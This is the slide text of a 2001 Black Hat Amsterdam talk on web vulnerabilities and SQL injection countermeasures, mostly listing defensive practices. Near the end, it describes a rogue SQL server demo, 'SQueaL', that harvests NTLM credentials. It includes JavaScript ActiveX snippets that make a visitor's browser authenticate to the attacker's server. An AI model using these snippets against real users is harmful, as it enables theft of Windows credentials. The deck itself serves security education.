Welcome to Blackhat! Blackhat Security Briefings Amsterdam 2001 Timothy M. Mullen AnchorIS.Com, Inc. Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerability and SQL Injection Countermeasures Securing your servers from the most insidious of attacks: The demands of the Global Marketplace have made web development more complex than ever. With customer demands and competitive influences, the functions our applications must be capable of performing constantly push our development into new areas. Even with enterprise firewall solutions, hardened servers, and up-to-date web server software in place and properly configured, poor design methodology can leave our systems open for attack. Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Session Overview Part I: ∙ Vulnerabilities Client-side HTML, URL Manipulation, SQL Injection ∙ Countermeasures Input Validation, Data Sanitation, Variable Typing, Procedure Structure, Permissions and ACL’s. Part II: ∙ Live Demos highlighting real-word sites with different issues, participant involvement and brainstorming ∙ SQueaL Demo(SQueaL is a NTLM logging rouge SQL server app) Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Part I Vulnerabilites ∙ Client-side HTML ∙ URL Manipulation ∙ SQL Injection Countermeasures ∙ Implementation/Setup∙ Input Validation ∙ Data Sanitation∙ Variable Typing ∙ Procedure Structure∙ Permissions and ACL’s Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Vulnerabilities – Lab Demos Client-side HTML Issues ∙ Web Forms ∙ Input/Select controls ∙ Hidden Fields URL Manipulation ∙ Editing the URL ∙ Session variables ∙ Cookies SQL Injection ∙ The possibilities are endless! Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos Implementation and Setup ∙ ADODB Connection Strings and DSN’s ∙ ODBC Error reporting ∙ Custom error pages Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos Input Validation ∙ Querystring count checking ∙ Data Type Validation ∙ Value/Length Checking ∙ Extents/Boundary Checking ∙ Host submission limits per unit of time Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos Data Sanitation ∙ REPLACE function ∙ RegExp function ∙ Custom functions / explicit declarations Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos Variable Typing ∙ Command object ∙ Parameter declaration ∙ Command type declaration ∙ Execute as methods Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos SQL Stored Procedure Structure ∙ Use stored procedures whenever possible ∙ Type cast variables ∙ Create and use Views as table sources ∙ Avoid “Select *” statements for performance as well as security ∙ sp_executeSQL procedure for ad hoc queries Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Countermeasures- Lab Demos Permissions and ACL’s. ∙ Open views, but lock down tables ∙ Use groups ∙ lock down xp_cmdshell, xp_sendmail or remove ∙ SQL Service context ∙ Integrated/Mixed security Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerability and SQL Injection Countermeasures Part I Concluded 15 Minute Break Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerability and SQL Injection Countermeasures Welcome Back! Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Part II Live Web Demos and Feedback ∙ Expose potentially insecure implementations of web applications ∙ Discuss potential vulnerabilities and exploits ∙ Mitigation and Prevention SQUeaL Demo: Grabbing NTLM responses from unsuspecting users Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerabilities- Live Demos Real-world web application issues and feedback Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerabilities- Live Demos SQUealL: NTLM logging rouge SQL Server ∙ Linux server application based on DilDog’s “TalkNTLM” code ∙ Waits for TCP/IP connection on 1433, and attempts to authenticate via NTLM ∙ Logs domain, username, and NTLM response Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerabilities- Live Demos SQUeaL: Getting them to connect ∙ ADODB Connection (Lame) conn=new ActiveXObject("ADODB.Connection"); conn.ConnectionString='Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=pubs;Data Source= ;Network Library=dbnetlib'; conn.Open(); Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerably and SQL Injection Countermeasures SQUeaL: Getting them to connect ∙ DBNETLIB (Not so lame) {ns = new ActiveXObject("SQLNS.SQLNamespace"); ns.Initialize ("Grabber", 2, "Server= ;Trusted_Connection=Yes; Network Library=dbnetlib.dll");} Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

Web Vulnerability and SQL Injection Countermeasures Closing Remarks Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;

THANK YOU! Additional Resources: abase.asp abase.asp abase.asp abase.asp Blackhat Amsterdam, 2001 Timothy M. Mullen, AnchorIS.Com;